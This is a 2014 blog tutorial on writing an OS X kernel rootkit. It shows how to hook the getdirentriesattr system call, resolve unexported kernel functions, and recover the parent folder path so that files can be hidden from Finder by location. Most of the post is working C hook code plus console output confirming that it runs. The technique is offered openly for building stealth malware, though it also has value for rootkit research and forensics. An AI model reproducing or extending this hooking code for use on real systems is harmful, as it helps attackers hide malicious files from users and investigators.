Discovering source folder when hiding files in OSX kernel rootkits

2014-05-17, James Robson, http://soundly.me

Context

Since this code won't necessarily have a long shelf life, here's my system:

% uname -rsv
Darwin 13.1.0 Darwin Kernel Version 13.1.0: Thu Jan 16 19:40:37 PST 2014; root:xnu-2422.90.20~2/RELEASE_X86_64

Works here, at this point in time. Your mileage may vary.

The problem with directory listing syscalls

In a kernel rootkit you take over one (or more) of the getdirentries, getdirentriesattr, and getdirentries64 system calls in order to hide files. The problem is that these functions provide you the filenames, but not the parent folder. Not directly anyway.

Phrack Magazine described a method for getting the parent folder here:

http://www.phrack.org/papers/revisiting-mac-os-x-kernel-rootkits.html

Basically, their idea is to inspect the (opaque) proc structure for its filedesc structure ...

Luckily for us, all syscalls functions prototypes contain the proc structure as
the first parameter. It contains enough information to match the full pathname.

struct proc {
(...)
    struct  filedesc *p_fd;        /* Ptr to open files structure. */
    (...)
}

... and from that extract all the fileproc structures to files held open by the process. Following that down you eventually get a vnode from which you can get the name:

void show_all_openfiles(struct proc *p)
{
    // lock proc structure else we are asking for trouble
    (*proc_fdlock)(p);
    struct filedesc *fd = p->p_fd;
    if (fd != NULL)
    {
        // for some reason fd_nfiles is not useful for this
        int lastfile = fd->fd_lastfile;
        // show all open files for this proc
        for (int count = 0; count < lastfile; count++)
        {
            // fd_ofiles is an array of fileproc that contains file structs
            // for all open files
            struct fileproc *fp = fd->fd_ofiles[count];
            // we are only interested in files so match fg_type field
            if (fp != NULL &&
                fp->f_fglob != NULL &&
                fp->f_fglob->fg_type == DTYPE_VNODE)
            {
                // lock the vnode - fg_data cast depends on fg_type
                // type is vnode so we know fg_data will point to a vnode_t
                (*vnode_lock)((struct vnode*)fp->f_fglob->fg_data);
                struct vnode *vn = (struct vnode*)fp->f_fglob->fg_data;
                if (vn->v_name != NULL)
                {
                    printf("[%d] Filename: %s\n", count, vn->v_name);
                }
                (*vnode_unlock)((struct vnode*)fp->f_fglob->fg_data);
            }
        }
    }
    (*proc_fdunlock)(p);
}

Unfortunately for me, neither fd->fd_lastfile nor fd->fd_nfiles ever held anything meaningful. fd_lastfile invariably returned as 7FFFFFFF and fd_nfiles as -1.

I still don't really know why. I eventually gave up and tried another avenue.

Extracting the parent folder from the arguments

This method should work for any of the three syscalls I mention above. We'll stick with getdirentriesattr() since that's the one Finder seems to like the most.

It always seemed tantalizing to me, that the getdirentriesattr_args structure -- passed in when overriding getdirentriesattr() -- contained the int fd member. And when you look up the system call, it has this to say:

% man getdirentriesattr

getdirentriesattr(int fd, struct attrlist * attrList, ... );

...

The function reads directory entries from the directory referenced by the
file descriptor fd.

Which means that we should be able to get at it from our hijack function, like so, right?

int hook_getdirentriesattr(
    struct proc *p, struct getdirentriesattr_args *uap, int *i)
{

    printf("%d\n", uap->fd)
    ...
}

Unfortunately, it's a file descriptor created in a different process, and is meaningless in ours. Sure you'll get a digit you can print out, but don't try doing anything with it that seems obvious, unless you want to wreck and reboot.

There is a way to access it though. And by doing so, we are able to learn the parent folder for the list of files we get in hook_getdirentriesattr().

First, I have to note that I borrowed from this project to solve the problem:

https://github.com/gdbinit/onyx-the-black-cat

In fact, a lot of the heavy lifting is taken care of by the code in this library. Such as resolving an address to a function from its symbol name, i.e., solve_kernel_symbol(), or getting the sysent table while accounting for KASLR, i.e. find_sysent(). If you haven't already, you should check it out.

So it turns out getting the path for uap->fd is pretty straightforward, once you gain access to a couple kernel functions.

If you call the kernel function fp_lookup() on uap->fd, you get a pointer to a fileproc structure. And with a couple of lock functions, you can access the vnode safely. Once you get there, you can use vn_getpath() to retrieve the path.

The trick is gaining access to the functions you need. You can get them from the running kernel (to which you have direct access if you build a kernel extension) by using the solve_kernel_symbol() function I mention above.

But first, you'll need some definitions:

// Found in: xnu-2422.1.72/bsd/kern/kern_descrip.c

/*
    Get fileproc pointer for a given fd from the per process open file
    table of the specified process and if successful, increment the
    f_iocount
*/
int (*hook_fp_lookup)(struct proc *p, int fd, struct fileproc **resultfp, int locked);

// Drop the I/O reference previously taken by calling fp_lookup
int (*hook_fp_drop)(struct proc *p, int fd, struct fileproc *fp, int locked);

void (*hook_vnode_lock)(vnode_t);
void (*hook_vnode_unlock)(vnode_t);

Next, you need to assign the address of the running kernel functions to your pointers. Here's where the onyx-the-black-cat source is awesome.

hook_fp_lookup = (void*)solve_kernel_symbol(&g_kernel_info, "_fp_lookup");
hook_fp_drop = (void*)solve_kernel_symbol(&g_kernel_info, "_fp_drop");

hook_vnode_lock = (void*)solve_kernel_symbol(&g_kernel_info, "_vnode_lock");
hook_vnode_unlock = (void*)solve_kernel_symbol(&g_kernel_info, "_vnode_unlock");

Note that g_kernel_info is a global kernel_info struct, which needs to be initialized. It's defined here:

https://github.com/gdbinit/onyx-the-black-cat/blob/master/kext/my_data_definitions.h

Now, you're ready to use these functions in your hijack function to obtain the path of uap->fd.

int hook_getdirentriesattr(
    struct proc *p, struct getdirentriesattr_args *uap, int *i)
{

    int l;
    char* par_path;  // Will hold the parent folder path
    struct fileproc* fp;

    // 1. Allocate space to hold the parent path:
    MALLOC(par_path, char*, PATH_MAX, M_TEMP, M_WAITOK);


    // 2. Get fileproc data for uap->fd. Important: the final '0' parameter
    //      tells fp_lookup() to call proc_fdlock():
    hook_fp_lookup(p, uap->fd, &fp, 0);


    if (fp->f_fglob->fg_ops->fo_type == DTYPE_VNODE)
    {

        printf("DTYPE_VNODE!\n");

        // 3. Be sure we do this under lock:
        hook_vnode_lock((vnode_t)fp->f_fglob->fg_data);


        // 4. Jackpot:
        int err;
        if ( (err = vn_getpath((vnode_t)fp->f_fglob->fg_data, par_path, &l)) == 0)
        {
            printf("**** Returning entries for: %s\n", par_path);
        }
        else
        {
            printf("vn_getpath err: %d\n", err);
        }

        // 5. Unlock or who knows the repercussions:
        hook_vnode_unlock((vnode_t)fp->f_fglob->fg_data);

    }
    else
    {
        printf("fo_type: %d\n", fp->f_fglob->fg_ops->fo_type);
    }

    // 6. Decrement I/O reference
    hook_fp_drop(p, uap->fd, fp, 0);

    // ... get the filenames, or whatever ...

    FREE(par_path, M_TEMP);

}

The fileproc structure holds a pointer to a struct fileglob. If it's of type DTYPE_VNODE then we're in business. And it's likely to be in the case where you want to prevent Finder from showing a file. At any rate you can't call vn_getpath() on a different value, so it's the only one that matters to us in this case.

And the output from Console:

5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] -----> hook_getdirentriesattr()
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] pid: 182  proc: Finder  |  ppid: 145   parent proc: launchd
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] DTYPE_VNODE!
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] **** Returning entries for: /Users/jar/Documents/what-path-is-it
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] count: 10
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: defcon-17-bosse_eriksson-kernel_patching_on_osx.pdf
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: Defiling_Mac_OS_X_Kiwicon.pdf
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: Developing Mac OSX kernel rootkits.txt
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: dtrace notes and samples
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: dtrace-infiltrate.pdf
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: FORENSIC-MEMORY-ANALYSIS-FOR-APPLE-OS-X.pdf
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: fsblind.zip
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: fsevents-hacking-dtrace-mach_inject.md
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: fsevents-hacking-dtrace-mach_inject.txt
5/17/14 10:04:37.000 PM kernel[0]: [DEBUG] filename: kexttest.txt

So now we're in business. We're not only able to manipulate the output based on the file names, but by the location of the files too.